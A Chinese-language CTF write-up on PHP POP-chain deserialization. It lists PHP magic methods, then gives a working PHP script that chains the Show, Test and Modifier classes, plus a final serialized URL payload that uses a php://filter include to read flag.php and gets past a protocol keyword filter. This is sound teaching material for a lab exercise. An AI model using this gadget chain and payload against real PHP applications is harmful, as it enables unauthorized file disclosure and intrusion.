Pop链反序列化
前置知识
Php反序列化中的的常用魔术方法
__destruct(类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。)
__construct(类一执行就开始调用,其作用是拿来初始化一些值。)
__toString(在对象当做字符串的时候会被调用。)
__wakeup(该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作)
__sleep(在对象被序列化的过程中自动调用。sleep要加数组)
__invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)
__set(在对象访问私有成员的时候自动被调用,达到了给你看,但是不能给你修改的效果!在对象访问一个私有的成员的时候就会自动的调用该魔术方法)
__call(当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息)
__isset(方法用于检测私有属性值是否被设定。当外部使用isset读类内部进行检测对象是否有具有某个私有成员的时候就会被自动调用!)
__unset(方法用于删除私有属性。在外部调用类内部的私有成员的时候就会自动的调用__unset魔术方法)
拿到源码先审计一下
这里有个wakeup函数在源码的最后还有一个触发wakeup方法的unserialize
反序列化函数
但我们最重要调用include进行文件包含读取
因为$value的值是$var所以将$var=’php://filter/read=convert.base64-encode/resource/flag.php’
然后想办法调用__invoke()方法 找可以调用函数的方法
Test()类里面可以将p当作一个函数来调用这里需要触发一下__get()方法将Modifier()的值传给p就可以触发但要实列化一下Test()类
这里可以unserialize触发wakeup后用__toString()方法来实列化Test()类
代码实现:
<?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { // echo "hacker"; $this->source = "index.php"; } } } class Test{ public function __get($key){ $function = $this->p; return $function(); } } $a=new Modifier(); $b=new Test(); //先将Modifier()、$b=new Test()这俩类实列化一下 $b->p=$a; //将$a传给$b的中的p属性 $c=new Show(); //实列化Show() $c->str=$b; $c->source=$c; //将$b的值传给$c冲的str以此调用$b //然后将$c传给$c的source来实列化$c echo serialize($c);
注意:因为var是保护属性在url中需要用%00将反序列化的两个字符给替换
?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}
读取出的字符串base64解码一下就是flag